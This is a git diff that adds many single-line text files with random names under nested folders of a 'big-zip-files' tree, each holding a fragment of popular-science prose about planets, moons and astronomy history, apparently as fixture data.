diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_ioqbwosj.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_ioqbwosj.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_ioqbwosj.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_jauctgalvslbkg.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_jauctgalvslbkg.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_jauctgalvslbkg.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_sadiamkjbsumwdrspwqojr.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_sadiamkjbsumwdrspwqojr.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_sadiamkjbsumwdrspwqojr.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_wgmiwjlovmgkhcyz.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_wgmiwjlovmgkhcyz.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_wgmiwjlovmgkhcyz.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_wwsrocuq.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_wwsrocuq.txt
new file mode 100644
index 0000000..1dbed97
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/file_wwsrocuq.txt
@@ -0,0 +1 @@
+particular manifestation of life has been unsuccessful or ambiguous. The blues have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/ariokgrrebwtqul.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/ariokgrrebwtqul.txt
new file mode 100644
index 0000000..21ce38d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/ariokgrrebwtqul.txt
@@ -0,0 +1 @@
+spectrum. In the spectrum of a planetary atmosphere, a single dark line represents an image
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_bdkedohsitpg.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_bdkedohsitpg.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_bdkedohsitpg.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_bemgzziaovlq.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_bemgzziaovlq.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_bemgzziaovlq.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_gsdvdzqybnemw.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_gsdvdzqybnemw.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_gsdvdzqybnemw.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_gzjiqxevsiigygzumx.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_gzjiqxevsiigygzumx.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_gzjiqxevsiigygzumx.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_hazeyzqa.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_hazeyzqa.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_hazeyzqa.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_jaxtygjxieqdzhweglueuk.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_jaxtygjxieqdzhweglueuk.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_jaxtygjxieqdzhweglueuk.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_jrscwshtcfiwixqdfgv.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_jrscwshtcfiwixqdfgv.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_jrscwshtcfiwixqdfgv.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_lsemydlfkhqpvcqv.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_lsemydlfkhqpvcqv.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_lsemydlfkhqpvcqv.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_mgbpmzxlfas.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_mgbpmzxlfas.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_mgbpmzxlfas.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_qeyqroclc.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_qeyqroclc.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_qeyqroclc.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_ungzbvkbqctzfwmchsxinepf.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_ungzbvkbqctzfwmchsxinepf.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_ungzbvkbqctzfwmchsxinepf.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_zpwcgzqi.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_zpwcgzqi.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_zpwcgzqi.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_zufithmpgn.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_zufithmpgn.txt
new file mode 100644
index 0000000..5cb28e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/file_zufithmpgn.txt
@@ -0,0 +1 @@
+multicolored Io; of the linear markings on Europa; the cobwebby features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/gxvwnojjmeuqftgibnqr.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/gxvwnojjmeuqftgibnqr.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/gxvwnojjmeuqftgibnqr.txt
@@ -0,0 +1 @@
+essentially, everything.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/hgikutjhyfsfsqfnfvym.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/hgikutjhyfsfsqfnfvym.txt
new file mode 100644
index 0000000..8f44cbc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/hgikutjhyfsfsqfnfvym.txt
@@ -0,0 +1 @@
+galaxy, and the light they see is also trapped on the curved surface of the hypersphere. As
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/jdrpipvcqalmfrn.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/jdrpipvcqalmfrn.txt
new file mode 100644
index 0000000..b439440
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/jdrpipvcqalmfrn.txt
@@ -0,0 +1 @@
+evolution has arranged that we take pleasure in understanding - those who understand are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/llldrddwncoziydqh.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/llldrddwncoziydqh.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/llldrddwncoziydqh.txt
@@ -0,0 +1 @@
+planet Earth. It is dedicated to the proposition that the public is far more intelligent than it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/qppxrsvouudujfieimiqruj.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/qppxrsvouudujfieimiqruj.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/qppxrsvouudujfieimiqruj.txt
@@ -0,0 +1 @@
+there are smaller forms in every rock and sand grain. For most of its history, those regions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/qykmyzypqgzcywzmronqhsw.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/qykmyzypqgzcywzmronqhsw.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/qykmyzypqgzcywzmronqhsw.txt
@@ -0,0 +1 @@
+account which may in fact describe an impact on the Moon seen from Earth with the naked
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/rnkmypveybqulhftjtusealg.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/rnkmypveybqulhftjtusealg.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/rnkmypveybqulhftjtusealg.txt
@@ -0,0 +1 @@
+constellations to change, we must travel over distances comparable to those that separate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/stpaxgqoasiukpsnfqwc.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/stpaxgqoasiukpsnfqwc.txt
new file mode 100644
index 0000000..8a79d45
--- /dev/null
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@@ -0,0 +1 @@
+in part, the result of apparently minor accidents in our immensely long evolutionary history.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/tjwqaujoxgindn.txt b/big_zip/big-zip-files/folder_hjqtcpwxby/folder_ouehmnwrnz/folder_ljdaykwrry/folder_qzngymgcmm/tjwqaujoxgindn.txt
new file mode 100644
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--- /dev/null
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@@ -0,0 +1 @@
+so large that they could contain ten thousand Suns or a trillion Earths; others the size of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/bmcptiixvmyfmamgw.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/bmcptiixvmyfmamgw.txt
new file mode 100644
index 0000000..54c1855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/bmcptiixvmyfmamgw.txt
@@ -0,0 +1 @@
+window at dawn and slowly moves so that it covers a special niche. But this happens only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/cjfsloumbwbpvqtbvtp.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/cjfsloumbwbpvqtbvtp.txt
new file mode 100644
index 0000000..4c6c7b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/cjfsloumbwbpvqtbvtp.txt
@@ -0,0 +1 @@
+- Archimedes, The Sand Reckoner
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_aaurcfuxwgduvftenusjfk.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_aaurcfuxwgduvftenusjfk.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_aaurcfuxwgduvftenusjfk.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_agdyckaadluoexusvwrq.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_agdyckaadluoexusvwrq.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_agdyckaadluoexusvwrq.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_ajnccwpapxboifvwg.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_ajnccwpapxboifvwg.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_ajnccwpapxboifvwg.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_boqugxfqazlbgammltrlmrs.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_boqugxfqazlbgammltrlmrs.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_boqugxfqazlbgammltrlmrs.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_etcianhzseiioaoccfe.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_etcianhzseiioaoccfe.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_etcianhzseiioaoccfe.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_ewsgkulpttssadyqhaewfmr.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_ewsgkulpttssadyqhaewfmr.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_ewsgkulpttssadyqhaewfmr.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_fnottxreoynvkqpm.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_fnottxreoynvkqpm.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_fnottxreoynvkqpm.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_fuutcvcynkkbyvoozmhagxa.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_fuutcvcynkkbyvoozmhagxa.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_fuutcvcynkkbyvoozmhagxa.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_iwyruozki.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_iwyruozki.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_iwyruozki.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_paevtouucepkvukvgt.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_paevtouucepkvukvgt.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_paevtouucepkvukvgt.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_pgnyunhsd.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_pgnyunhsd.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_pgnyunhsd.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_ppkmgpbsghmbrhsozgcd.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_ppkmgpbsghmbrhsozgcd.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_ppkmgpbsghmbrhsozgcd.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_rfromdejtc.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_rfromdejtc.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_rfromdejtc.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_szapbawnn.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_szapbawnn.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_szapbawnn.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_twwvduxucgruvywwa.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_twwvduxucgruvywwa.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_twwvduxucgruvywwa.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_wwvbscekfkqxml.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_wwvbscekfkqxml.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_wwvbscekfkqxml.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/file_yorlyuafdgbh.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/file_yorlyuafdgbh.txt
new file mode 100644
index 0000000..9021e71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/file_yorlyuafdgbh.txt
@@ -0,0 +1 @@
+archetypical great family. Constantijn admired the painter Rubens, and ‘discovered’ a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/ftemiqdz.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/ftemiqdz.txt
new file mode 100644
index 0000000..3574428
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/ftemiqdz.txt
@@ -0,0 +1 @@
+designed for immobility, were perversely refusing to manage even a little hop. How we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/gvjkqclgpdhqdgcekznze.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/gvjkqclgpdhqdgcekznze.txt
new file mode 100644
index 0000000..6005ea1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/gvjkqclgpdhqdgcekznze.txt
@@ -0,0 +1 @@
+potassium, material somehow lost from Io.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/gxehqeklhigrtmswacip.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/gxehqeklhigrtmswacip.txt
new file mode 100644
index 0000000..17d3382
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/gxehqeklhigrtmswacip.txt
@@ -0,0 +1 @@
+Even in sleep, the brain is pulsing, throbbing and flashing with the complex business of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/irjlvlaoqjuagmsdlnfoomvz.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/irjlvlaoqjuagmsdlnfoomvz.txt
new file mode 100644
index 0000000..d26a21f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/irjlvlaoqjuagmsdlnfoomvz.txt
@@ -0,0 +1 @@
+red giant star, its visible surface so far from its interior that the gravity at its surface grows
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/kcronmsocucxxwddwu.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/kcronmsocucxxwddwu.txt
new file mode 100644
index 0000000..b88b6c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/kcronmsocucxxwddwu.txt
@@ -0,0 +1 @@
+ever is terraformed, it will be done by human beings whose permanent residence and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/klafjnokkbxbalrduikgzlvq.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/klafjnokkbxbalrduikgzlvq.txt
new file mode 100644
index 0000000..5aa476d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/klafjnokkbxbalrduikgzlvq.txt
@@ -0,0 +1 @@
+by the relative geometry of the Earth, the Moon and the self-luminous Sun. Aristotle, two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/mrauqeaaa.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/mrauqeaaa.txt
new file mode 100644
index 0000000..8fb9563
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/mrauqeaaa.txt
@@ -0,0 +1 @@
+telescope, Newton spent many consecutive sleepless nights searching the sky for comets
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/skqnkxuotkforc.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/skqnkxuotkforc.txt
new file mode 100644
index 0000000..1317a68
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/skqnkxuotkforc.txt
@@ -0,0 +1 @@
+To us, the sound of the horn elides from high frequencies to low. A racing car traveling at
\ No newline at end of file
